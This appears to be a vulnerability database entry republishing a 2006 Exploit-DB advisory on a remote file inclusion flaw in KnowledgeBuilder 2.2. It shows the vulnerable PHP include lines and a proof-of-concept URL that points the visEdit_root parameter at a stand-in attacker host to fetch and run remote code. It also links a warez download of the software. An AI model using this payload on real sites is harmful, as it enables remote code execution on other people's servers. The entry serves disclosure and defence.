KnowledgeBuilder.v2.2.PHP.NULL-WDYL Remote File Inclusion

vendor:

KnowledgeBuilder

by:

igi

8,8

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: KnowledgeBuilder

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: a:gtasoft:knowledgebuilder:2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

KnowledgeBuilder.v2.2.PHP.NULL-WDYL Remote File Inclusion

A vulnerability in KnowledgeBuilder.v2.2.PHP.NULL-WDYL allows remote attackers to include arbitrary files via a URL in the visEdit_root parameter to e_data/visEdit_control.class.php.

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Source

Exploit-DB raw data:

+--------------------------------------------------------------------
+
+  KnowledgeBuilder.v2.2.PHP.NULL-WDYL  Remote File Inclusion
+
+-------------------------------------------------------------------
+
+ Version ...........: KnowledgeBuilder.v2.2.PHP.NULL-WDYL
+ cms download ......: http://warez.gtasoft.ru/skripts/KnowledgeBuilder.v2.2.PHP.NULL-WDYL.zip
+ Class .............: Remote File Inclusion
+ Found by ..........: igi
+ Contact ...........: hamidreza@mineduc.gov.rw
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<?php
// ================================================
// Main control class
// ================================================

include $visEdit_root.'config/visEdit_control.config.php';
include $visEdit_root.'class/toolbars.class.php';
include $visEdit_root.'class/lang.class.php';
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------------------------------------------------------------------------
------
http://www.victom.com/admin/e_data/visEdit_control.class.php?visEdit_root=http://yourevil.com/r0x.dat.txt?cmd
----------------------------------------------------------------------------
--------

# milw0rm.com [2006-09-13]